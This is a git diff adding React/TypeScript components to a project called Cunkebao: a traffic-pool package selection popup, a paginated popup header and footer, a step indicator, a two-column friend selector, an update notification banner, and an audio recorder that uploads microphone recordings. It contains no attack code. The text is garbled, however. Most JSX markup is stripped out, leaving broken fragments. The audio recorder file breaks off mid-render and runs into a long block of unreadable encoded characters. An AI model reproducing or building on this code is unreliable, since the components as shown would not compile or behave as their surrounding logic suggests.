取消全选:移除当前页面的所有流量池包 + const currentPagePackageIds = poolPackages.map(p => String(p.id)); + setTempSelectedOptions(prev => + prev.filter(p => !currentPagePackageIds.includes(p.id)), + ); + } + }; + + // 检查当前页是否全选 + const isCurrentPageAllSelected = + poolPackages.length > 0 && + poolPackages.every(packageItem => + tempSelectedOptions.some(p => p.id === String(packageItem.id)), + ); + + // 确认选择 + const handleConfirm = () => { + if (onConfirm) { + onConfirm( + tempSelectedOptions.map(item => item.id), + tempSelectedOptions, + ); + } + // 更新实际选中的选项 + onSelect(tempSelectedOptions); + onVisibleChange(false); + }; + + // 弹窗打开时初始化数据(只执行一次) + useEffect(() => { + if (visible) { + setCurrentPage(1); + setSearchQuery(""); + // 复制一份selectedOptions到临时变量 + setTempSelectedOptions([...selectedOptions]); + fetchPoolPackages(1, ""); + } + }, [visible, selectedOptions]); + + // 搜索防抖(只在弹窗打开且搜索词变化时执行) + useEffect(() => { + if (!visible || searchQuery === "") return; + + const timer = setTimeout(() => { + setCurrentPage(1); + fetchPoolPackages(1, searchQuery); + }, 500); + + return () => clearTimeout(timer); + }, [searchQuery, visible]); + + // 页码变化时请求数据(只在弹窗打开且页码不是1时执行) + useEffect(() => { + if (!visible) return; + fetchPoolPackages(currentPage, searchQuery); + }, [currentPage, visible, searchQuery]); + + return ( + onVisibleChange(false)} + position="bottom" + bodyStyle={{ height: "100vh" }} + > + fetchPoolPackages(currentPage, searchQuery)} + /> + } + footer={ + onVisibleChange(false)} + onConfirm={handleConfirm} + isAllSelected={isCurrentPageAllSelected} + onSelectAll={handleSelectAllCurrentPage} + /> + } + > +
      + {loading ? ( +
      +
      加载中...
      +
      + ) : poolPackages.length > 0 ? ( +
      + {poolPackages.map(item => ( +
      + g.id === String(item.id), + )} + onChange={() => !readonly && handlePackageToggle(item)} + disabled={readonly} + style={{ marginRight: 12 }} + /> +
      +
      + {item.name ? item.name.charAt(0) : "?"} +
      +
      +
      {item.name}
      +
      + 描述: {item.description || "无描述"} +
      +
      + 创建时间: {item.createTime} +
      +
      + 包含数量: {item.num} +
      +
      +
      +
      + ))} +
      + ) : ( +
      +
      + {searchQuery + ? `没有找到包含"${searchQuery}"的流量池包` + : "没有找到流量池包"} +
      +
      + )} +
      +
      +
      + ); +} diff --git a/Cunkebao/src/components/PopuLayout/footer.module.scss b/Cunkebao/src/components/PopuLayout/footer.module.scss new file mode 100644 index 00000000..bd1286f0 --- /dev/null +++ b/Cunkebao/src/components/PopuLayout/footer.module.scss @@ -0,0 +1,88 @@ +.popupFooter { + display: flex; + align-items: center; + justify-content: space-between; + padding: 16px; + border-top: 1px solid #f0f0f0; + background: #fff; +} + +.selectedCount { + font-size: 14px; + color: #666; + display: flex; + align-items: center; + gap: 12px; +} + +.selectAllCheckbox { + margin-right: 0; + + .ant-checkbox-wrapper { + font-size: 14px; + } + + &.ant-checkbox-wrapper-disabled { + .ant-checkbox-disabled + span { + color: #d9d9d9; + } + } +} + +.footerBtnGroup { + display: flex; + gap: 12px; +} + +.paginationRow { + border-top: 1px solid #f0f0f0; + padding: 16px; + display: flex; + align-items: center; + justify-content: space-between; + background: #fff; +} + +.totalCount { + font-size: 14px; + color: #888; +} + +.paginationControls { + display: flex; + align-items: center; + gap: 8px; +} + +.pageBtn { + padding: 0 8px; + height: 32px; + min-width: 32px; + border-radius: 16px; + border: 1px solid #d9d9d9; + color: #333; + display: flex; + align-items: center; + justify-content: center; + cursor: pointer; + transition: all 0.2s; + + &:hover:not(:disabled) { + border-color: #1677ff; + color: #1677ff; + } + + &:disabled { + background: #f5f5f5; + color: #ccc; + cursor: not-allowed; + } +} + +.pageInfo { + font-size: 14px; + color: #222; + margin: 0 8px; + min-width: 60px; + text-align: center; +} diff --git a/Cunkebao/src/components/PopuLayout/footer.tsx b/Cunkebao/src/components/PopuLayout/footer.tsx new file mode 100644 index 00000000..3dbf8a52 --- /dev/null +++ b/Cunkebao/src/components/PopuLayout/footer.tsx @@ -0,0 +1,88 @@ +import React from "react"; +import { Button, Checkbox } from "antd"; +import style from "./footer.module.scss"; +import { ArrowLeftOutlined, ArrowRightOutlined } from "@ant-design/icons"; + +interface PopupFooterProps { + currentPage: number; + totalPages: number; + loading: boolean; + selectedCount: number; + onPageChange: (page: number) => void; + onCancel: () => void; + onConfirm: () => void; + // 全选功能相关 + isAllSelected?: boolean; + onSelectAll?: (checked: boolean) => void; + singleSelect?: boolean; +} + +const PopupFooter: React.FC = ({ + currentPage, + totalPages, + loading, + selectedCount, + onPageChange, + onCancel, + onConfirm, + isAllSelected = false, + onSelectAll, + singleSelect = false, +}) => { + return ( + <> + {/* 分页栏 */} +
      + {onSelectAll && ( +
      + onSelectAll(e.target.checked)} + className={style.selectAllCheckbox} + > + 全选当前页 + +
      + )} +
      + + + {currentPage} / {totalPages} + + +
      +
      +
      +
      + {singleSelect + ? selectedCount > 0 + ? "已选择设备" + : "未选择设备" + : `已选择 ${selectedCount} 条记录`} +
      +
      + + +
      +
      + + ); +}; + +export default PopupFooter; diff --git a/Cunkebao/src/components/PopuLayout/header.module.scss b/Cunkebao/src/components/PopuLayout/header.module.scss new file mode 100644 index 00000000..f54cbbee --- /dev/null +++ b/Cunkebao/src/components/PopuLayout/header.module.scss @@ -0,0 +1,51 @@ +.popupHeader { + padding: 16px; + border-bottom: 1px solid #f0f0f0; +} + +.popupTitle { + font-size: 20px; + font-weight: 600; + text-align: center; +} + +.popupSearchRow { + display: flex; + align-items: center; + gap: 5px; + padding: 16px; +} + +.popupSearchInputWrap { + position: relative; + flex: 1; +} + +.inputIcon { + position: absolute; + left: 12px; + top: 50%; + transform: translateY(-50%); + color: #bdbdbd; + z-index: 10; + font-size: 18px; +} + +.refreshBtn { + width: 36px; + height: 36px; +} + +.loadingIcon { + animation: spin 1s linear infinite; + font-size: 16px; +} + +@keyframes spin { + from { + transform: rotate(0deg); + } + to { + transform: rotate(360deg); + } +} diff --git a/Cunkebao/src/components/PopuLayout/header.tsx b/Cunkebao/src/components/PopuLayout/header.tsx new file mode 100644 index 00000000..51cad1b2 --- /dev/null +++ b/Cunkebao/src/components/PopuLayout/header.tsx @@ -0,0 +1,89 @@ +import React from "react"; +import { SearchOutlined, ReloadOutlined } from "@ant-design/icons"; +import { Input, Button } from "antd"; +import { Tabs } from "antd-mobile"; +import style from "./header.module.scss"; + +interface PopupHeaderProps { + title: string; + searchQuery: string; + setSearchQuery: (value: string) => void; + searchPlaceholder?: string; + loading?: boolean; + onRefresh?: () => void; + onSearch?: (query: string) => void; + showRefresh?: boolean; + showSearch?: boolean; + showTabs?: boolean; + tabsConfig?: { + activeKey: string; + onChange: (key: string) => void; + tabs: Array<{ title: string; key: string }>; + }; +} + +const PopupHeader: React.FC = ({ + title, + searchQuery, + setSearchQuery, + searchPlaceholder = "搜索...", + loading = false, + onRefresh, + onSearch, + showRefresh = true, + showSearch = true, + showTabs = false, + tabsConfig, +}) => { + return ( + <> +
      +
      {title}
      +
      + + {showSearch && ( +
      +
      + setSearchQuery(e.target.value)} + onSearch={() => onSearch && onSearch(searchQuery)} + prefix={} + size="large" + /> +
      + + {showRefresh && onRefresh && ( + + )} +
      + )} + + {showTabs && tabsConfig && ( + + {tabsConfig.tabs.map(tab => ( + + ))} + + )} + + ); +}; + +export default PopupHeader; diff --git a/Cunkebao/src/components/StepIndicator/index.tsx b/Cunkebao/src/components/StepIndicator/index.tsx new file mode 100644 index 00000000..655bbafd --- /dev/null +++ b/Cunkebao/src/components/StepIndicator/index.tsx @@ -0,0 +1,43 @@ +import React from "react"; +import { Steps } from "antd-mobile"; + +interface StepIndicatorProps { + currentStep: number; + steps: { id: number; title: string; subtitle: string }[]; +} + +const StepIndicator: React.FC = ({ + currentStep, + steps, +}) => { + return ( +
      + + {steps.map((step, idx) => ( + + {step.id} +
      + } + /> + ))} + + + ); +}; + +export default StepIndicator; diff --git a/Cunkebao/src/components/TwoColumnSelection/TwoColumnSelection.module.scss b/Cunkebao/src/components/TwoColumnSelection/TwoColumnSelection.module.scss new file mode 100644 index 00000000..5f53a343 --- /dev/null +++ b/Cunkebao/src/components/TwoColumnSelection/TwoColumnSelection.module.scss @@ -0,0 +1,153 @@ +.twoColumnModal { + .ant-modal-body { + padding: 0; + } +} + +.container { + display: flex; + height: 500px; + border: 1px solid #e8e8e8; +} + +.leftColumn { + flex: 1; + border-right: 1px solid #e8e8e8; + display: flex; + flex-direction: column; +} + +.rightColumn { + width: 300px; + display: flex; + flex-direction: column; + background: #fafafa; +} + +.searchWrapper { + padding: 16px; + border-bottom: 1px solid #e8e8e8; + + .ant-input { + border-radius: 6px; + } +} + +.friendList { + flex: 1; + overflow-y: auto; + padding: 8px 0; +} + +.friendItem { + display: flex; + align-items: center; + padding: 12px 16px; + cursor: pointer; + transition: background-color 0.2s; + + &:hover { + background-color: #f5f5f5; + } + + &.selected { + background-color: #e6f7ff; + } + + .ant-checkbox { + margin-right: 12px; + } +} + +.friendInfo { + margin-left: 12px; + flex: 1; +} + +.friendName { + font-size: 14px; + font-weight: 500; + color: #333; + margin-bottom: 2px; +} + +.friendId { + font-size: 12px; + color: #999; +} + +.selectedHeader { + padding: 16px; + border-bottom: 1px solid #e8e8e8; + font-weight: 500; + color: #333; + background: #fff; +} + +.selectedList { + flex: 1; + overflow-y: auto; + padding: 8px 0; +} + +.selectedItem { + display: flex; + align-items: center; + padding: 8px 16px; + background: #fff; + margin: 4px 8px; + border-radius: 6px; + border: 1px solid #e8e8e8; +} + +.selectedInfo { + margin-left: 8px; + flex: 1; +} + +.selectedName { + font-size: 13px; + color: #333; +} + +.removeBtn { + color: #999; + font-size: 16px; + padding: 0; + width: 20px; + height: 20px; + display: flex; + align-items: center; + justify-content: center; + + &:hover { + color: #ff4d4f; + background: #fff2f0; + } +} + +.loading { + display: flex; + align-items: center; + justify-content: center; + height: 100px; + color: #999; +} + +.empty { + display: flex; + align-items: center; + justify-content: center; + height: 100px; + color: #999; + font-size: 14px; +} + +.emptySelected { + display: flex; + align-items: center; + justify-content: center; + height: 100px; + color: #999; + font-size: 14px; +} diff --git a/Cunkebao/src/components/TwoColumnSelection/TwoColumnSelection.tsx b/Cunkebao/src/components/TwoColumnSelection/TwoColumnSelection.tsx new file mode 100644 index 00000000..e5400bf6 --- /dev/null +++ b/Cunkebao/src/components/TwoColumnSelection/TwoColumnSelection.tsx @@ -0,0 +1,329 @@ +import React, { useState, useCallback, useEffect, useMemo, memo } from "react"; +import { Modal, Input, Avatar, Button, Checkbox, message } from "antd"; +import { SearchOutlined } from "@ant-design/icons"; +import { getFriendList } from "../FriendSelection/api"; +import type { FriendSelectionItem } from "../FriendSelection/data"; +import styles from "./TwoColumnSelection.module.scss"; + +// 使用 React.memo 优化好友列表项组件 +const FriendListItem = memo<{ + friend: FriendSelectionItem; + isSelected: boolean; + onSelect: (friend: FriendSelectionItem) => void; +}>(({ friend, isSelected, onSelect }) => { + return ( +
      onSelect(friend)} + > + + + {friend.nickname?.charAt(0)} + +
      +
      {friend.nickname}
      +
      {friend.wechatId}
      +
      +
      + ); +}); + +FriendListItem.displayName = "FriendListItem"; + +interface TwoColumnSelectionProps { + visible: boolean; + onCancel: () => void; + onConfirm: ( + selectedIds: string[], + selectedItems: FriendSelectionItem[], + ) => void; + title?: string; + deviceIds?: number[]; + enableDeviceFilter?: boolean; + dataSource?: FriendSelectionItem[]; +} + +const TwoColumnSelection: React.FC = ({ + visible, + onCancel, + onConfirm, + title = "选择好友", + deviceIds = [], + enableDeviceFilter = true, + dataSource, +}) => { + const [rawFriends, setRawFriends] = useState([]); + const [selectedFriends, setSelectedFriends] = useState( + [], + ); + const [searchQuery, setSearchQuery] = useState(""); + const [loading, setLoading] = useState(false); + const [currentPage, setCurrentPage] = useState(1); + const [totalPages, setTotalPages] = useState(1); + + // 使用 useMemo 缓存过滤结果,避免每次渲染都重新计算 + const filteredFriends = useMemo(() => { + const sourceData = dataSource || rawFriends; + if (!searchQuery.trim()) { + return sourceData; + } + + const query = searchQuery.toLowerCase(); + return sourceData.filter( + item => + item.name?.toLowerCase().includes(query) || + item.nickname?.toLowerCase().includes(query), + ); + }, [dataSource, rawFriends, searchQuery]); + + // 分页显示好友列表,避免一次性渲染太多项目 + const ITEMS_PER_PAGE = 50; + const [displayPage, setDisplayPage] = useState(1); + + const friends = useMemo(() => { + const startIndex = 0; + const endIndex = displayPage * ITEMS_PER_PAGE; + return filteredFriends.slice(startIndex, endIndex); + }, [filteredFriends, displayPage]); + + const hasMoreFriends = filteredFriends.length > friends.length; + + // 使用 useMemo 缓存选中状态映射,避免每次渲染都重新计算 + const selectedFriendsMap = useMemo(() => { + const map = new Map(); + selectedFriends.forEach(friend => { + map.set(friend.id, true); + }); + return map; + }, [selectedFriends]); + + // 获取好友列表 + const fetchFriends = useCallback( + async (page: number, keyword: string = "") => { + setLoading(true); + try { + const params: any = { + page, + pageSize: 20, + }; + + if (keyword) { + params.keyword = keyword; + } + + if (enableDeviceFilter && deviceIds.length > 0) { + params.deviceIds = deviceIds; + } + + const response = await getFriendList(params); + + if (response.success) { + setRawFriends(response.data.list || []); + setTotalPages(Math.ceil((response.data.total || 0) / 20)); + } else { + setRawFriends([]); + message.error(response.message || "获取好友列表失败"); + } + } catch (error) { + console.error("获取好友列表失败:", error); + message.error("获取好友列表失败"); + } finally { + setLoading(false); + } + }, + [deviceIds, enableDeviceFilter], + ); + + // 初始化数据加载 + useEffect(() => { + if (visible && !dataSource) { + // 只有在没有外部数据源时才调用 API + fetchFriends(1); + setCurrentPage(1); + } + }, [visible, dataSource, fetchFriends]); + + // 重置搜索状态 + useEffect(() => { + if (visible) { + setSearchQuery(""); + setSelectedFriends([]); + setLoading(false); + } + }, [visible]); + + // 防抖搜索处理 + const handleSearch = useCallback(() => { + let timeoutId: NodeJS.Timeout; + return (value: string) => { + clearTimeout(timeoutId); + timeoutId = setTimeout(() => { + setDisplayPage(1); // 重置分页 + if (!dataSource) { + fetchFriends(1, value); + } + }, 300); + }; + }, [dataSource, fetchFriends])(); + + // API搜索处理(当没有外部数据源时) + const handleApiSearch = useCallback( + async (keyword: string) => { + if (!dataSource) { + await fetchFriends(1, keyword); + } + }, + [dataSource, fetchFriends], + ); + + // 加载更多好友 + const handleLoadMore = useCallback(() => { + setDisplayPage(prev => prev + 1); + }, []); + + // 防抖搜索 + useEffect(() => { + if (!dataSource && searchQuery.trim()) { + const timer = setTimeout(() => { + handleApiSearch(searchQuery); + }, 300); + return () => clearTimeout(timer); + } + }, [searchQuery, dataSource, handleApiSearch]); + + // 选择好友 - 使用 useCallback 优化性能 + const handleSelectFriend = useCallback((friend: FriendSelectionItem) => { + setSelectedFriends(prev => { + const isSelected = prev.some(f => f.id === friend.id); + if (isSelected) { + return prev.filter(f => f.id !== friend.id); + } else { + return [...prev, friend]; + } + }); + }, []); + + // 移除已选好友 - 使用 useCallback 优化性能 + const handleRemoveFriend = useCallback((friendId: number) => { + setSelectedFriends(prev => prev.filter(f => f.id !== friendId)); + }, []); + + // 确认选择 - 使用 useCallback 优化性能 + const handleConfirmSelection = useCallback(() => { + const selectedIds = selectedFriends.map(f => f.id.toString()); + onConfirm(selectedIds, selectedFriends); + setSelectedFriends([]); + setSearchQuery(""); + }, [selectedFriends, onConfirm]); + + // 取消选择 - 使用 useCallback 优化性能 + const handleCancel = useCallback(() => { + setSelectedFriends([]); + setSearchQuery(""); + onCancel(); + }, [onCancel]); + + return ( + + 取消 + , + , + ]} + className={styles.twoColumnModal} + > +
      + {/* 左侧:好友列表 */} +
      +
      + { + const value = e.target.value; + setSearchQuery(value); // 立即更新显示 + handleSearch(value); // 防抖处理搜索 + }} + prefix={} + allowClear + /> +
      + +
      + {loading ? ( +
      加载中...
      + ) : friends.length > 0 ? ( + // 使用 React.memo 优化列表项渲染 + friends.map(friend => { + const isSelected = selectedFriendsMap.has(friend.id); + return ( + + ); + }) + ) : ( +
      + {searchQuery + ? `没有找到包含"${searchQuery}"的好友` + : "暂无好友"} +
      + )} + + {hasMoreFriends && ( +
      + +
      + )} +
      +
      + + {/* 右侧:已选好友 */} +
      +
      + 已选联系人 ({selectedFriends.length}) +
      + +
      + {selectedFriends.length > 0 ? ( + selectedFriends.map(friend => ( +
      + + {friend.nickname?.charAt(0)} + +
      +
      {friend.nickname}
      +
      + +
      + )) + ) : ( +
      暂无选择
      + )} +
      +
      +
      +
      + ); +}; + +export default TwoColumnSelection; diff --git a/Cunkebao/src/components/UpdateNotification/index.tsx b/Cunkebao/src/components/UpdateNotification/index.tsx new file mode 100644 index 00000000..79f37c84 --- /dev/null +++ b/Cunkebao/src/components/UpdateNotification/index.tsx @@ -0,0 +1,217 @@ +import React, { useState, useEffect } from "react"; +import { Button } from "antd-mobile"; +import { updateChecker } from "@/utils/updateChecker"; +import { ReloadOutlined } from "@ant-design/icons"; + +interface UpdateNotificationProps { + position?: "top" | "bottom"; + autoReload?: boolean; + showToast?: boolean; + forceShow?: boolean; + onClose?: () => void; +} + +const UpdateNotification: React.FC = ({ + position = "top", + autoReload = false, + showToast = true, + forceShow = false, + onClose, +}) => { + const [hasUpdate, setHasUpdate] = useState(false); + const [isVisible, setIsVisible] = useState(false); + + useEffect(() => { + // 注册更新检测回调 + const handleUpdate = (info: { hasUpdate: boolean }) => { + if (info.hasUpdate) { + setHasUpdate(true); + setIsVisible(true); + + if (autoReload) { + // 自动刷新 + setTimeout(() => { + updateChecker.forceReload(); + }, 3000); + } + } + }; + + updateChecker.onUpdate(handleUpdate); + + // 启动更新检测 + updateChecker.start(); + + return () => { + updateChecker.offUpdate(handleUpdate); + updateChecker.stop(); + }; + }, [autoReload, showToast]); + const handleReload = () => { + updateChecker.forceReload(); + }; + + const handleLater = () => { + setIsVisible(false); + onClose?.(); + // 10分钟后再次检查 + setTimeout( + () => { + updateChecker.start(); + }, + 10 * 60 * 1000, + ); + }; + + if ((!isVisible || !hasUpdate) && !forceShow) { + return null; + } + + return ( +
      +
      + {/* 左侧内容 */} +
      + {/* 更新图标 */} +
      + +
      + {/* 文本信息 */} +
      +
      + 发现新版本 +
      +
      + 建议立即更新获得更好体验 +
      +
      +
      + + {/* 右侧按钮组 */} +
      + + +
      +
      + + {/* 动画样式 */} + +
      + ); +}; + +export default UpdateNotification; diff --git a/Cunkebao/src/components/Upload/AudioRecorder/index.tsx b/Cunkebao/src/components/Upload/AudioRecorder/index.tsx new file mode 100644 index 00000000..1bcc705e --- /dev/null +++ b/Cunkebao/src/components/Upload/AudioRecorder/index.tsx @@ -0,0 +1,411 @@ +import React, { useState, useRef, useCallback } from "react"; +import { Button, message, Modal } from "antd"; +import { + AudioOutlined, + PlayCircleOutlined, + PauseCircleOutlined, + SendOutlined, + DeleteOutlined, +} from "@ant-design/icons"; +import { uploadFile } from "@/api/common"; + +interface AudioRecorderProps { + onAudioUploaded: (audioData: { url: string; durationMs: number }) => void; + className?: string; + disabled?: boolean; + maxDuration?: number; // 最大录音时长(秒) +} + +type RecordingState = + | "idle" + | "recording" + | "recorded" + | "playing" + | "uploading"; + +const AudioRecorder: React.FC = ({ + onAudioUploaded, + className, + disabled = false, + maxDuration = 60, +}) => { + const [visible, setVisible] = useState(false); + const [state, setState] = useState("idle"); + const [recordingTime, setRecordingTime] = useState(0); + const [audioBlob, setAudioBlob] = useState(null); + const [audioUrl, setAudioUrl] = useState(""); + + const mediaRecorderRef = useRef(null); + const audioRef = useRef(null); + const timerRef = useRef(null); + const chunksRef = useRef([]); + + // 打开弹窗 + const openRecorder = () => { + setVisible(true); + }; + + // 关闭弹窗并重置状态 + const closeRecorder = () => { + if (state === "recording") { + stopRecording(); + } + if (state === "playing") { + pauseAudio(); + } + deleteRecording(); + setVisible(false); + }; + + // 开始录音 + const startRecording = useCallback(async () => { + try { + const stream = await navigator.mediaDevices.getUserMedia({ audio: true }); + + // 尝试使用MP3格式,如果不支持则回退到WebM + const mp3Types = [ + "audio/mpeg", + "audio/mp3", + "audio/mpeg; codecs=mp3", + "audio/mp4", + "audio/mp4; codecs=mp4a.40.2", + ]; + + let mimeType = "audio/webm"; // 默认回退格式 + + // 检测并选择支持的MP3格式 + for (const type of mp3Types) { + if (MediaRecorder.isTypeSupported(type)) { + mimeType = type; + console.log(`使用音频格式: ${type}`); + break; + } + } + + if (mimeType === "audio/webm") { + console.log("浏览器不支持MP3格式,使用WebM格式"); + } + + const mediaRecorder = new MediaRecorder(stream, { mimeType }); + mediaRecorderRef.current = mediaRecorder; + chunksRef.current = []; + + mediaRecorder.ondataavailable = event => { + if (event.data.size > 0) { + chunksRef.current.push(event.data); + } + }; + + mediaRecorder.onstop = () => { + const blob = new Blob(chunksRef.current, { type: mimeType }); + setAudioBlob(blob); + const url = URL.createObjectURL(blob); + setAudioUrl(url); + setState("recorded"); + + // 停止所有音频轨道 + stream.getTracks().forEach(track => track.stop()); + }; + + mediaRecorder.start(); + setState("recording"); + setRecordingTime(0); + + // 开始计时 + timerRef.current = setInterval(() => { + setRecordingTime(prev => { + const newTime = prev + 1; + if (newTime >= maxDuration) { + stopRecording(); + } + return newTime; + }); + }, 1000); + } catch (error) { + console.error("录音失败:", error); + message.error("无法访问麦克风,请检查权限设置"); + } + }, [maxDuration]); + + // 停止录音 + const stopRecording = useCallback(() => { + if ( + mediaRecorderRef.current && + mediaRecorderRef.current.state === "recording" + ) { + mediaRecorderRef.current.stop(); + } + if (timerRef.current) { + clearInterval(timerRef.current); + timerRef.current = null; + } + }, []); + + // 播放录音 + const playAudio = useCallback(() => { + if (audioRef.current && audioUrl) { + audioRef.current.play(); + setState("playing"); + } + }, [audioUrl]); + + // 暂停播放 + const pauseAudio = useCallback(() => { + if (audioRef.current) { + audioRef.current.pause(); + setState("recorded"); + } + }, []); + + // 删除录音 + const deleteRecording = useCallback(() => { + if (audioUrl) { + URL.revokeObjectURL(audioUrl); + } + setAudioBlob(null); + setAudioUrl(""); + setRecordingTime(0); + setState("idle"); + }, [audioUrl]); + + // 发送录音 + const sendAudio = useCallback(async () => { + if (!audioBlob) return; + + try { + setState("uploading"); + + // 创建文件对象 + const timestamp = Date.now(); + const fileExtension = + audioBlob.type.includes("mp3") || + audioBlob.type.includes("mpeg") || + audioBlob.type.includes("mp4") + ? "mp3" + : "webm"; + const audioFile = new File( + [audioBlob], + `audio_${timestamp}.${fileExtension}`, + { + type: audioBlob.type, + }, + ); + + // 打印文件格式信息 + console.log("音频文件信息:", { + fileName: audioFile.name, + fileType: audioFile.type, + fileSize: audioFile.size, + fileExtension: fileExtension, + blobType: audioBlob.type, + }); + + // 上传文件 + const filePath = await uploadFile(audioFile); + + // 调用回调函数,传递音频URL和时长(毫秒) + onAudioUploaded({ + url: filePath, + durationMs: recordingTime * 1000, // 将秒转换为毫秒 + }); + + // 重置状态并关闭弹窗 + deleteRecording(); + setVisible(false); + message.success("语音发送成功"); + } catch (error) { + console.error("语音上传失败:", error); + message.error("语音发送失败,请重试"); + setState("recorded"); + } + }, [audioBlob, onAudioUploaded, deleteRecording]); + + // 格式化时间显示 + const formatTime = (seconds: number) => { + const mins = Math.floor(seconds / 60); + const secs = seconds % 60; + return `${mins.toString().padStart(2, "0")}:${secs.toString().padStart(2, "0")}`; + }; + + // 渲染弹窗内容 + const renderModalContent = () => { + switch (state) { + case "idle": + return ( +
      +
      + 点击下方按钮开始录音 +
      +
      + ); + + case "recording": + return ( +
      +
      +
      + {formatTime(recordingTime)} +
      +
      + 正在录音中... +
      +
      + +
      + ); + + case "recorded": + case "playing": + return ( +
      +
      +
      + 录音时长: {formatTime(recordingTime)} +
      +
      + {state === "playing" + ? "正在播放..." + : "录音完成,可以试听或发送"} +
      +
      + +
      +
      + +
      + +
      +
      + ); + + case "uploading": + return ( +
      + +
      + ); + + default: + return null; + } + }; + + return ( + <> +

      4P1dmVh3va& zF8wpFd`g!)9CxjUq{Ng7SKiknqZM&J82&Qx#1ziL{^!)?#%l)=b*<@5m(&m0EWG*6 z5wFa5d-4{7<9lcx4vGn2*50yw*5Oq75*}h@Wd&H7DD_q^Ab3iczV8^fH2!-L!jbv7 zTi}DaOsC=svN+dE!PK`uvpuVowOHgQCb_#M*94`Wmey*%Al$`q{x_}dACOW!XNWfVnDcei6IN_eYwDr6Ab?~DX z*(t2a0}~bv%9$vEECaKsbaM}7DO30`%$TpZXu=Y|uRii6B1Q&#dVG~FMM-NU! zy})za2(h~33g*dRlW8vt)%NUQvzJt)@sn&3UvH&8&D))~cAk-dQ0pRDJ?1gLM)A%w zD$EXXmlG8XN>La69X)Rjjg##C@e~fX!xwp1QV6a9UBgxk$p&p*Ev>61|LE3}3oa;) zPwJy6x|Oak==VJ;613H@x5=g4IeA;YA{W)ISM7_<~n5hACs^Z zHOWL2Ok33Sd-cDD^8<0K)p^9EIwC_p$CMDf=Tl%0CeC=)U9b2}x1GoFUUTZjQ$vQF zb|87Zk9keng3STq?c=?JMQSCq0noor_~SW!L!?^|`WG&~gkS=Tmx+ELFZB<02B6c+ z+`79m%~G#Jx$N}xbO3*9(JW;EHU(@u&<5(^dtEO0o>l&Z&c@Gj^me9wf6RT^j#a$7IpG@Z8T^26hj{@K~E_w+VzljXI`ez0BRVDwde z{5rM}|C!W^QR~r@#FD=iK(0s70S|gdRzYJvw&gv4KXa5uIg6R#y7uH;xm=`m?ebUq zC31#nbX{@yzFMz1XlBNTf$Efpv^%kMYq@`P;@SLy*kn2O*8{ssI`p2slNL(1I4tD^ zZ|5H&F&Gd64jKpnDh+ZC`4fEn%BP)!LcPD#1|aM~@>bK32CarUuaEAl@S*+R1p}bB z#_x1}aC8*g-Q7KVqH0AblgA!IL?qUl%ICOUikMS!@eNpVd$z%qvGX=}tMSd8vfHNr zY>AQ#eWWbs2UVP=JB*COrJHlprDM)NxBjH6Sz=Rm>I|jSPbU64>9-0(Wje*)%({4~ zOHSNHHD*b57xl#Fu6&*v0j?ko)8*H}Wwo@uI{y4AVypbGH-5r^k(JoeOt?YpeDG2# zlVK>`&tpMnzF)dJ4emRCzbwVlA5hU(IL+yo_x<=lf^K2>9P(di>Cpd)j%s?=cFEsz z7-`GykaY!*@Nq09ia+)Hx0a3(ER*i!YUrBP^KONMym4HjR(I2VGJGYl#Wowhg^KN| zRC{&&EO}t;UHD#uA<<@c8n!6|F%)%kniROWO--tmdmM?Cs%2(pXX~YusFn08QiEt& zqgkq44EZ>0q5(j+m|wVdHj_#lS;x-%dj{w2TMo!rl|FX)nSt9d(CqL?lm_f8MNgnlS{K?FfdjNKkUZT53y+lTJCC*XL z&&fjjuU6sZ-H)KfyuGw7zv~6)`cE(Ct5<-s%MR)r0fBpYIC$Qr0-9E! zr#P(k`&ZO5Gi{`pd)+)rFR~50}y@I%ZU|726y&dMn%NkI4 zgBs3rBD5OQid~B}RkP~w!|8Bl`u6s=ouT3j)w`ddLsYKkwRTiOLb?IlXW&hiu$vW7 z<3JvFO)V7ruN-|;87lPa!&3C^26zSCRKHTPCYJDF4t8_CrX|aR9gcB+B#_;fam8kk z=QPBNR~wdzCwqIA><`^!-w1S4UFg>531O_4+PMy+a<=e~I)d3o2p5J`n7OqwjT=Qx z?`P2Jya+N}Ff{X{VSS8_12t5E-Jx@F(S;F^=TBi_F-)vw(DR^EQi;max;*1XBEKb}!%=Bk;z)3@F$m+`O~^D`afU&! z9Lm)9NAB~q=hP`9Nc&P}1Lu~%(BQ2{5vF(T7ZLR7v39@qwM@Q8Ts2I$B5dl<5UI!B z{f84YMv_DlP%x>;bRf{~(w1Q^UXye<2B1tZdhf9U(x^+z)-y{0u1HT$6K+aS7xfY6 zS3nL?dTy)1mhk2OV>ILeFJuvzws~JPQ~R$Y57lI>@j{K-pe*`GurTZUYDy`{xFeGt zLPQ|r-cp7u?dZPF{p*1JGrhnr|AMR2w)Ub;OI>tiO1+T+)8OOo_hQ_s4R}pNSVVoC zhAUOZez(gmAWM^C4WMJIY`V@pM&|O{5Wq^ zX^l1q8qiMTKgS{0NZRF1Ug4@5-6K@xyZ7#q;1l(@Jbb)nebkQEuVhS@UPs34Y&);% zSzp^y^^)f%aYX0(I=x)yhsz{H^h0eLaZmV2+6(B{gs+e$haOGLTuZ@c!k?rMU;eLa zHvGw&TSL8Am5CRIS&C|H6YQMNxT6{iedy7>pj9$*9N`kZYGr|J>cnLM0`eCl- z@+)&OfkZQ-*0TM=2HZM#!3g1ywKEcpFk97FN(t}ksC8Ebk(M)03Y>~PtHd_%1qA>WU`B!d&aJR!MSACr4 z!}UV!k|ckw^-t)o)(+XhdO%lE*;G+K*WY@&pQbdO!Y%x_U~J769cJJkj5|;sNIlk~wA$mi++NAV&eL@nlAFax> z_Z|luk4k1s)#4JQ91Pi>{IA`TgBr*W9{`Rs~PJ5FLpS8mn9oJxY;@gez*(*1*JIVef*VNRVnsOw0qC zjbpN9Nl=HAX<3E_rsnoZ;?M3D)L5}_REId*G*8&WuTp1TM>@H`7{%NH5_nN$1SJ0HM!iSd>)l!JXCuyK6A~cmSs!EV2^m}zv zLQ+KJ#Olh-|2|ZH4_KWqrdrNw0311?&{8Ju+pF}NhM6SWb2WU~%CfhMrT3N6+IXej zgPiP?Th!woUG#`AXUW2WMYkP9%T<*Ne`%p06mFz3g@sIaKMzyp13Y)lQUyiDkwL&u z)U45r1b<%zpPJGnxqRh}Y2K*um*AhM%EIVF9KglI3{VLJP3O4p!Kl)yWTO8V_(+;) z0Nj7woTa5DE$Y4}yvCX+DU@MWCN4qtDcA=ySE@I>U(yNWksQhHBvmOLJaIQaLH2JH zHfQ-41s0<@C0BJmO4*bf;hCZTM&PlD_vMb|UOhE|!vtE-=c&o$I(^p>P z9`mF1G0}4q&Z;=O9fBvTylF?#TelQW^g=B0PR*jZe2a%7g&3>#FPD%=)$iz@-);cS 